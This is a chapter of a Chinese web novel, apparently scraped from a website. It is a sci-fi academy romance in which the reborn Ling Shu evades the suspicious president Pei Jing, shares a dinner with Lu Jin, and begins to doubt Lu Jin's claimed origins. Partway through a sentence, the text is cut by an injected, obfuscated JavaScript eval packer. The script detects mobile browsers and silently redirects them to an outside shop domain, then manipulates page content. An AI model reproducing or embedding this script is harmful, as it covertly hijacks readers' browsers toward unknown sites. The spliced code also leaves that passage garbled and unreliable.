陆烬诧异地挑眉:“你还问了这个?”
“谢谢你。”凌疏说。
陆烬愣了两秒。
凌疏站在巷口,白制服被路灯镀上一层柔光,衬得他肤色愈发清冷如玉。
他望着陆烬,冰蓝的眸子里褪去了惯常的戒备,像冰封的湖面裂开一道缝隙,漏出底下至诚的感激。
陆烬忽然觉得喉咙发紧,便别过脸:“......没事。”
凌疏显然不知道多余的话该怎么说,他站了一会儿,点了点头:“那我走了。”
陆烬点点头。
暮色像一层薄纱,轻轻覆在两栋旧楼之间的巷角。墙根的野花在晚风里微微颤动,散发出若有若无的清香,与远处食堂飘来的烟火气交织在一起,暧昧又温柔。
路灯恰好在此时亮起,昏黄的光晕将两人的影子拉得很长,在斑驳的墙面上交叠又分开,像某种欲言又止的试探。
凌疏转身走了。
陆烬靠在墙上,忽然笑了。
那笑容像个偷到糖的孩子,又像个输光筹码、还乐在其中的赌徒。
*
凌疏回到宿舍,反手关上门。
忙了一天,白制服上沾了不少汗。他解开扣子脱下来,随手扔进床边的脸盆,光裸着上身进了浴室。
比赛结束后,他只有短暂的时间换回了制服,还没顾得上查看救人时烫伤的情况。
镜子中,他的前胸、手肘、大腿面,一片片的红。
他轻轻摩挲了下胸口,火辣辣的。高温灼烧带来的表皮损伤,不算严重,却存在感强烈。
凌疏把水温调低,站在水流下,仰头凉水冲刷过颈侧、全身,泛红的皮肤得到安抚,他好受了许多。
冲完澡,他擦着头发从浴室出来,从柜子里翻出干净的黑色背心和长裤套上。
水珠顺着锁骨滑进黑背心的领口,在灯光下留下一道转瞬即逝的水痕。
凌疏在书桌前坐下,打开光脑。
投屏亮起,一张密密麻麻的人物关系图浮现在半空中。
这是他从重生那天开始整理的,上一世所有可能与泄密事件相关的人物,按亲疏、职位、可疑程度排列。
中间那个最大的节点,写着“裴景”。
从他身边延伸出十几条线,指向不同的人。
大部分是灰色的,代表“已排除”或“无法证实”。还有几条线是绿色,代表“尚未验证”,只有一条线是红色的,代表“高度可疑”——战斗系某位老师。
上一世,他和裴景的接触有限。但他记得,裴景曾经在一次谈话中,无意间提到一位“老师”的指点。那个人的语气、措辞,不像是普通的师生关系。更像是......上级对下级的指令。
凌疏怀疑,那人和第三军军情泄漏有关。这也是他这一世选择战斗系的原因。
就在这时,敲门声响起。
“凌疏,我是裴景。”那声音温和有礼,令人如沐春风。
凌疏的手指一顿。
裴景。
光脑投屏瞬间熄灭。
他站起来,目光在屋里扫了一圈。脸盆里的白制服还歪歪扭扭地堆着,那汗津津的模样实在有违他对外的形象。
事实上,他最讨厌的人和事,第一是裴景,第二是干家务。
他抬起脚,后脚跟往脸盆边缘一磕——“咣。”
脸盆划出一道流畅的弧线,精准地滑进了床底,宿舍里顿时干干净净。
凌疏随手从柜子里拿了件黑色运动外套,穿上后,打开门。
裴景站在门外,一身深灰色的休闲装衬得他越发温润如玉。他手里提着一个精致的纸袋,微微一笑:“方便吗?”
凌疏侧身让开:“请进。”
裴景走进来。
宿舍不大,但收拾得很干净。书桌上空空荡荡,床铺平整,没有一丝杂乱。
他把纸袋放在桌上。
凌疏:“坐。”
裴景在椅子上坐下,微微笑着:“学弟的房间也随主人,干干净净。”
凌疏不语。
裴景继续说:“不得不说,新生杯的表现很精彩。虽然拿了第二名,但那个救援,比第一名更让人印象深刻。”
凌疏站在窗边,背靠着窗框:“谢谢主席。”
“我很高兴,能和你一起参与接下来的项目。”
“我很荣幸能向主席学习。”
“别主席来主席去的了,不介意的话,叫我景哥吧。”
凌疏沉默两秒。
裴景一笑:“我是想着,平时项目组的人都这么叫我。一时忽略了,和你认识时间还不长。你要觉得别扭......”
“不会。景哥。”
裴景忽然站了起来,朝凌疏走近了一步,声音放轻:“礼台上,有没有受伤?我听说,是大二的一帮人在整蛊。”
凌疏站直了些,似乎身上的某种雷达在疯狂鸣叫:“没有。”
裴景又走近半步:“回头我帮你教育一下他们。这整蛊的陋习......”
“不用,没事。”凌疏的手在背后,指尖开始掐掌心。
他以为礼台上的一幕已经过去,自己能游刃有余地面对这个人,可当他靠得太近,近到身体周围的量子开始纠缠.......凌疏觉得,自己又快要应激。
裴景看着他,目光里带着一丝探究。
“晚上有空吗?一起吃个饭?顺便聊一下项目的安排。”
凌疏张了张嘴,正不知道怎么拒绝——
咚咚。
“凌疏?在吗?”那声音懒洋洋的,带着点漫不经心的尾调。
凌疏的眉心跳了一下,往门口走。
没想到,裴景手突然一伸,在他胸前挡了一下:“能先回答我吗?”
凌疏下意识“嘶——”了一声。
外套的拉链被裴景压住,拉扯了下胸前的皮肤,火烧火燎。
砰——
宿舍门被推开了。
陆烬手捏着门把手,先看了眼凌疏,才低头查看门锁:“得跟学院反应一下了,这什么破质量。”
说完,他的目光才落在裴景身上:“哟,裴主席也在啊。”
他收回目光,看向凌疏:“不是约了我吃饭吗?可以走了吗?”
凌疏愣了一下。
约了吃饭?
他飞快做出决定,转过身,看向裴景:“学长在礼台上帮了我,我答应请客感谢他。”
顿了顿:“项目的事,我们在项目上见。”
裴景的目光在两人之间转了一圈,最终落在凌疏脸上,笑了笑:“好。项目见。”
他又指了指桌上的纸袋:“一点营养品,补补身体。”
“那就不打扰了。”说完,他侧身从陆烬身边走过,离开了。
等门合上,凌疏和陆烬并肩站在走廊里,他才低声问:“你怎么会来?”
陆烬一挑眉:“说好了请我吃饭啊。”
他“啧”一声,不满道:“没你这样过河拆桥的。”
凌疏愣了一瞬,随即笑了:“好。吃饭。”
陆烬刚迈了一步,又停下来,皱了皱眉:“裴景刚刚对你动手了?”
凌疏摇头:“没有。”
若是以往,他答到这里就结束了,不习惯解释,更不想被人追根究底。
可看着陆烬明显追究的眼神,他又加了句:“他拦了我一下,碰到胸口了。”
陆烬反应过来了:“是.....皮肤被机甲烫伤了?”
凌疏点头。
这家伙怎么这么敏锐。莫名让他觉得,自己仿佛曝光在明晃晃的舞台灯下,一点蛛丝马迹都轻易被放大。
他推了陆烬一下,随手关上门:“走了。”
走廊尽头的窗户外,夜色刚刚降临。天花板上的夜灯刚刚打开,照在两人身上,将影子拉得很长。
学院的餐厅分成三楼。
一、二楼是学生们扎堆吃饭的地方,三楼是一个个精致的小包间、专供老师、教官,和钱包很鼓、想打牙祭的学生们。
凌疏带着陆烬去了三楼,找了一个包间坐下来。
包间内布置得雅致、安静,桌面上悬着今日菜品全息投影,可以随意转动,勾选。
凌疏点了两个菜,清蒸刀鲚、酥丝明虾,他酷爱海鲜,原汁原味的十成喜欢,做麻辣鲜香口感的,十二分热爱。
比如这道清蒸刀鲚,银白鱼肉在热气中熏染,鲜嫩无比,蘸一点姜醋入口,鲜甜便从舌尖化开,像吞了一口雪的魂魄。
至于酥丝明虾,金黄土豆丝织成网,外壳炸得轻薄如纸,明虾躺在里头,咬下去先是脆响,接着是虾肉的弹嫩,麻辣味儿从缝隙里渗出来,烫得人舌尖发麻却舍不得停筷。
凌疏不得不承认,他对美食的爱好,和对家务的痛恨,是完全成反比的。
还好家里有佣人做餐、收拾,不用他动一点手,只可惜,到了外头,就没这么省事了。
凌疏脑子里转着,正想继续点菜,忽然觉得对面视线的存在感很强,像两道实质化的幽怨光束扎在头顶。
他抬起头,就见陆烬微微凑向前,眼神略带委屈:“你请客,不问客人喜欢吃什么吗?”
凌疏朝着投影指了指:“这是专属的吗?我能点、你不能?”
陆烬抬了抬眉。
凌疏想起,这顿是自己请客。对面的是客人。只好在心里叹了口气:“你要吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519962|203138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么?”
陆烬这才勾了勾唇角,手指在投影上飞舞。他点了一个琥珀糖藕、一个熔岩蛋糕,然后抬眼:“Omega就喜欢吃甜的,你不介意吧?”
凌疏摇头。
事实上,陆烬真的喜欢吃甜的。
以前在北部,顶着Alpha的身份,不好明目张胆地嗜甜,会被嘲笑“娘们唧唧”。
这下到了南部,有Omega身份作掩护,吃甜食简直吃得猖狂,连早餐都要配蜂蜜。
他自己对此的解释是:甜食能量高,有助于随时保持充沛的精力。
凌疏:“嗯,当然不。一般来说,甜食能给人带来多巴胺的快乐。”
他顿了顿,冰蓝的眸子抬起:“特别是......缺爱的人。”
陆烬的脸黑了:“围着我追的Alpha一大把,你大可不必担心。”
他往后靠了靠,制服领口敞着:“你点了什么?“
凌疏报出菜名。
陆烬挑眉:“没记错的话,那道酥丝明虾是麻辣的?”
凌疏缓缓点头:“Alpha就喜欢吃辣,和你们Omega爱吃甜一样。”
说完,他觉得对面人的脸色有点微妙。他也不去管,又加了几个自己爱吃的。
菜上来后,他们边吃边聊。
陆烬:“对了,你初来乍到,我帮你避雷几个老师。尽量别选他们的课。“
他报了三个名字——两个指挥系的,一个战斗系的。
凌疏其实都知道。上一世,他也在这里待了四年。
不过,说来奇怪,他似乎没有听说过陆烬的名字。
照理说,虽然隔着年级、又隔着系,但陆烬这样“突出”得如此鲜明的,总该多少有些耳闻才是。
但他一点都不知道这人。
或许是自己平日里花太多时间在学习上了。
至于陆烬说的这三个老师,其中两个确实口碑一般,但那个战斗系的“周牧野”,他知道,这人非常全面,从格斗技巧、到战术指挥,都教得极好,还很有自己的教学风格,深受学生喜爱。
“周牧野呢?”凌疏问:“他的课我查过,评价不错。”
陆烬夹起一块糖藕,随即嗤笑一声:“呵。他讲的课是没毛病,但那双眼睛......”
他抬起手,用两根手指虚戳了自己双眼:“专门盯着长得好看的人。“
凌疏笑着摇头:“他盯你了?”
陆烬也笑,歪着头反问:“你觉得我好看?”
凌疏没回答,给他夹了一大筷子的刀鲚,明晃晃地堆在陆烬碗里。那鱼肉质细嫩,却藏着密密麻麻的细刺,稍有不慎便会卡在喉间。
“优质蛋白,多吃点。”
陆烬低头看着那堆鱼肉,嘴角抽了抽,还是夹起来吃了。
他从小生长在北部一颗干旱的星球,他很少吃鱼,更别说刺多成这样的。
但蓝藻星并不缺水。
他挑刺的动作慢而专注,甚至像是在拆解某种线路十分复杂的炸药包。
包间里安静下来,只有餐具碰撞的轻响。
吃了半响,凌疏有些饱了。他这才注意到,对面的人仍然在和刚刚随手投喂的鱼作斗争。
这人显然不爱吃鱼,却没有随意丢下他给的鱼肉,样子认真,甚至带着一丝虔诚。
内心竟然升起一丝微妙的愧疚。
他决定主动开口搭讪:“对了,东部蓝藻星......我听说,星球是因为一种海里的植物而闻名的?”
陆烬的筷子悬在半空,停了一瞬。
他笑着点头:“是啊,‘夜光藻’,每年三个月,在特定季节会发出幽蓝色的光,像整片海都在燃烧。”
一个看起来很标准的回答。
凌疏心里却咯噔一下。
刚才那一问,不过是他随口挑起的话题。
事实上,他对蓝藻星算得上熟悉。
有一年的夏天,他父亲带着他去度假,在那里待了整整两个月,还跟着当地一个小孩哥,学潜水、学捞藻、学抓鱼,什么事都干过,还学了不少当地的语言。
夜光藻,是外来星球的统一称呼。真正的蓝藻星人,称它们为“幽虫儿”。
因为,导致夜光藻亮遍整片海域的,不是藻本身,而是附身在藻上的一种微小寄生虫。那寄生虫密密麻麻,包裹住了并不发光的藻类,反而造成了藻在发光的错觉。
这是蓝藻星的孩子从小听到大的家乡故事。也是小孩哥讲给凌疏听的。
所以,蓝藻星人都看不上“夜光藻”的叫法,觉得它名不副实。
可是......陆烬说的却是“夜光藻”。
是自己想多了吗?